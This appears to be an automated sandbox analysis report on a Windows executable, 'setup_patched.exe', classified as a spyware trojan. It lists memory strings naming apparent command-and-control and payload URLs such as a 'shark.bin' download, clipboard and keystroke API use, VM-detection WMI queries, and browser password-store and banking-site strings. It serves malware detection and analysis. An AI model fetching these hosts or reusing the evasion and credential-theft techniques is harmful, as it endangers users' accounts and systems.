Source: setup_patched.exe, 00000000.00000003.1563436377.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdans
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/v
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/vT
Source: setup_patched.exe, 00000000.00000003.1534362774.0000000000672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital:443/ogdacies
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv209h
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h1.mockupeastcoast.shop/
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h1.mockupeastcoast.shop/Y
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.0000000000658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h1.mockupeastcoast.shop/shark.bin
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h1.mockupeastcoast.shop/shark.bine
Source: setup_patched.exe, 00000000.00000002.1612062683.0000000000658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h1.mockupeastcoast.shop/shark.binrn
Source: setup_patched.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49702 version: TLS 1.2

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_3_0213F0E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

0_3_0213F0E0

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_3_0213F0E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

0_3_0213F0E0

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_0040E150 GetAsyncKeyState,

0_2_0040E150

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004362E7 __EH_prolog3,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetParent,SendMessageW,_memset,ScreenToClient,_memset,GetCursorPos,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetWindowPos,SendMessageW,_memset,SendMessageW,GetParent,	0_2_004362E7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0042C885 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageW,	0_2_0042C885
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00446DA3 GetKeyState,GetKeyState,GetKeyState,GetFocus,GetDesktopWindow,SendMessageW,SendMessageW,GetParent,	0_2_00446DA3
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00426E61 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_00426E61
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0044F2E0 ScreenToClient,_memset,GetKeyState,GetKeyState,GetKeyState,KillTimer,IsWindow,	0_2_0044F2E0

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_008410E8 NtTerminateThread,	0_3_008410E8
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_00840B72 NtGetContextThread,NtSetContextThread,NtResumeThread,	0_3_00840B72
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_00840CD8 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_3_00840CD8
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0084066E NtProtectVirtualMemory,	0_3_0084066E

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02116AC0	0_3_02116AC0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210DBA0	0_3_0210DBA0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214FBD0	0_3_0214FBD0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02128870	0_3_02128870
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02144860	0_3_02144860
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214F0E0	0_3_0214F0E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02121620	0_3_02121620
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210B6E0	0_3_0210B6E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021157F8	0_3_021157F8
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02144460	0_3_02144460
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212FD10	0_3_0212FD10
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02143A30	0_3_02143A30
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212AA38	0_3_0212AA38
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02129260	0_3_02129260
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02146260	0_3_02146260
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02124A64	0_3_02124A64
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02125A80	0_3_02125A80
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021142A1	0_3_021142A1
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212F2CB	0_3_0212F2CB
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02103AF0	0_3_02103AF0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02114AF3	0_3_02114AF3
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211CAEF	0_3_0211CAEF
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214EB00	0_3_0214EB00
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02110B58	0_3_02110B58
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210C340	0_3_0210C340
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211E7B7	0_3_0211E7B7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02102390	0_3_02102390
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02108BB0	0_3_02108BB0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211F810	0_3_0211F810
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02127810	0_3_02127810
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02113870	0_3_02113870
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02138870	0_3_02138870
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212086B	0_3_0212086B
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02129890	0_3_02129890
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214F880	0_3_0214F880
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021160BE	0_3_021160BE
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0213F0E0	0_3_0213F0E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210A910	0_3_0210A910
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02111110	0_3_02111110
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02109130	0_3_02109130
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02119930	0_3_02119930
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02103150	0_3_02103150
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211F95A	0_3_0211F95A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02145940	0_3_02145940
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0213E970	0_3_0213E970
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02120180	0_3_02120180
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021079C0	0_3_021079C0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021086A0	0_3_021086A0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02109F10	0_3_02109F10
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214CF00	0_3_0214CF00
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02124F80	0_3_02124F80
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211E7B7	0_3_0211E7B7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02145FF0	0_3_02145FF0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212EC04	0_3_0212EC04
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212140D	0_3_0212140D
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211DC6A	0_3_0211DC6A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02143C90	0_3_02143C90
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_02127506	0_3_02127506
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0213353B	0_3_0213353B
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210FD70	0_3_0210FD70
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0214F570	0_3_0214F570
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211C56A	0_3_0211C56A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0210D5B0	0_3_0210D5B0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_021165F2	0_3_021165F2
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004524E1	0_2_004524E1
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0045204B	0_2_0045204B
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004641BB	0_2_004641BB
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0046C2F8	0_2_0046C2F8
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0041E310	0_2_0041E310
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00476413	0_2_00476413
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004564B4	0_2_004564B4
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004525FE	0_2_004525FE
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004526DE	0_2_004526DE
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0042E687	0_2_0042E687
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004527C2	0_2_004527C2
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0047A7E6	0_2_0047A7E6
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00456888	0_2_00456888
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00476955	0_2_00476955
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00462932	0_2_00462932
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00474933	0_2_00474933
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00466A57	0_2_00466A57
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0041EA00	0_2_0041EA00
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00456C94	0_2_00456C94
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0041ED70	0_2_0041ED70
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00476FB4	0_2_00476FB4
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004570B4	0_2_004570B4
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0047126A	0_2_0047126A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00477228	0_2_00477228
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0046344A	0_2_0046344A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00477531	0_2_00477531

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: String function: 0043757A appears 39 times
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: String function: 00454129 appears 128 times
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: String function: 0045780C appears 66 times
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: String function: 02119920 appears 38 times
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: String function: 0210B020 appears 67 times

Source: setup_patched.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/2

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_3_02144860 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,GetVolumeInformationW,

0_3_02144860

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_0044C0D9 LoadResource,LockResource,_malloc,GetSysColor,GetSysColor,GetSysColor,GetSysColor,GetDC,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,SelectObject,StretchDIBits,SelectObject,DeleteDC,ReleaseDC,FreeResource,

0_2_0044C0D9

Source: setup_patched.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\setup_patched.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup_patched.exe, 00000000.00000003.1496401244.0000000003529000.00000004.00000800.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1511630567.000000000352E000.00000004.00000800.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1496095787.0000000003605000.00000004.00000800.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1511499376.0000000003603000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: setup_patched.exe	Virustotal: Detection: 7%
Source: setup_patched.exe	ReversingLabs: Detection: 16%

Source: C:\Users\user\Desktop\setup_patched.exe

File read: C:\Users\user\Desktop\setup_patched.exe

Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: setup_patched.exe

Static file information: File size 1085440 > 1048576

Source: setup_patched.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: c:\source\rec_source\src\BugReport\release_unicode\BugReport.pdb source: setup_patched.exe

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_0040E260 LoadLibraryA,GetProcAddress,FreeLibrary,_memset,_memset,lstrcpynW,_memset,_memset,lstrcpynW,_memset,_memset,_memset,lstrcpynW,_memset,_memset,lstrcpynW,_memset,_memset,_memset,lstrcpynW,_memset,lstrlenW,_memset,lstrcpyW,_memset,SetCapture,SetFocus,EnableWindow,ReleaseCapture,EnableWindow,SetActiveWindow,SetActiveWindow,SetFocus,FreeLibrary,@_RTC_CheckStackVars@8,

0_2_0040E260

Source: setup_patched.exe

Static PE information: real checksum: 0x121da6 should be: 0x10deb7

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0212B5D0 push 040F50AFh; retf		0_3_0212B5DD
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00454201 push ecx; ret		0_2_00454214

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004402AB __EH_prolog3,IsIconic,SetForegroundWindow,SendMessageW,PostMessageW,	0_2_004402AB
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00446E65 IsWindowVisible,IsIconic,	0_2_00446E65
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00429582 IsIconic,GetWindowPlacement,GetWindowRect,	0_2_00429582

Source: C:\Users\user\Desktop\setup_patched.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\setup_patched.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\setup_patched.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe

API coverage: 0.6 %

Source: C:\Users\user\Desktop\setup_patched.exe TID: 8088	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe TID: 8084	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004415D0 __EH_prolog3,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW,		0_2_004415D0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004495B6 lstrlenW,FindFirstFileW,FindClose,		0_2_004495B6

Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
